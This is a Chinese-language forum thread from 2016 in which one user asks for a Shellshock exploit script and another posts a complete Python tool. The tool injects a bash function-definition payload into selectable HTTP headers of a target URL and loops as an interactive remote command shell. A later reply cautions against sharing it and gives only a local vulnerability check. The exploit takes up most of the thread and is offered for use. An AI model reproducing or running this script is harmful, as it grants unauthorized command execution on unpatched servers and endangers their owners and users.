Yen 发表于 2016-3-31 11:33:03

来个shellsock的漏洞利用脚本、

来个shellsock的漏洞利用脚本、:lol :lol :lol

Ins 发表于 2016-3-31 11:33:04

#!/usr/bin/env python
# -*- coding=utf-8 -*-
#sex8#
import sys
import argparse
import urllib2






def main(args):
    try:
      while True:
            cmd = raw_input('$')
            if cmd.strip() == 'exit':
                break
            
            injection ="() { :;}; echo \"Content-Type: text/html\"; echo; printf; /bin/bash -c \"" + cmd + "\""
         
            request = urllib2.Request(args.URL)
            if args.u:
                request.add_header("User-Agent", injection)
            if args.a:
                request.add_header("Accept", injection)
            if args.l:
                request.add_header("Accept-Language", injection)
            if args.e:
                request.add_header("Accept-Encoding", injection)
            if args.c:
                request.add_header("Cookie", injection)
            if args.x:
                request.add_header("X-Forwarded-For", injection)
            if args.r:
                request.add_header("Referer", injection)
            result = urllib2.urlopen(request).read()
            print result.strip()
    except:
      
      print sys.exc_info()
      
if __name__ == '__main__':
   
    parser = argparse.ArgumentParser(add_help=False)
    parser.add_argument('-u', action='store_true', help=' User-Agent Parameter!!')
    parser.add_argument('-a', action='store_true', help=' Accept Parameter !!')
    parser.add_argument('-l', action='store_true', help=' Accept-Language Parameter !!')
    parser.add_argument('-e', action='store_true', help=' Accept-Encoding Parameter!!')
    parser.add_argument('-c', action='store_true', help='Cookie!!')
    parser.add_argument('-x', action='store_true', help='X-Forwarded-For Parameter!!')
    parser.add_argument("-r", action='store_true', help='Referer parameter!!')
    parser.add_argument("URL", help="Shellshock vulnerable URL")
    args = parser.parse_args()
    main(args)

Yen 发表于 2016-3-31 11:37:48

Ins 发表于 2016-3-31 11:36
#!/usr/bin/env python
# -*- coding=utf-8 -*-
#sex8#


我测试一下。稍等

热心网友5 发表于 2026-5-20 00:20:00

Re: 来个shellsock的漏洞利用脚本、

Shellshock漏洞影响挺大的,不过直接发利用脚本不太合适。如果你是为了安全测试,建议使用网上公开的PoC(比如`env x='() { :;}; echo vulnerable' bash -c "echo this is a test"`)来验证漏洞是否存在,同时推荐关注官方补丁和升级bash版本。如果是在自己授权的环境里做渗透测试练习,可以搜索“Shellshock PoC shell script”参考实现逻辑,但切记不要用于未授权系统。
页: [1]
查看完整版本: 来个shellsock的漏洞利用脚本、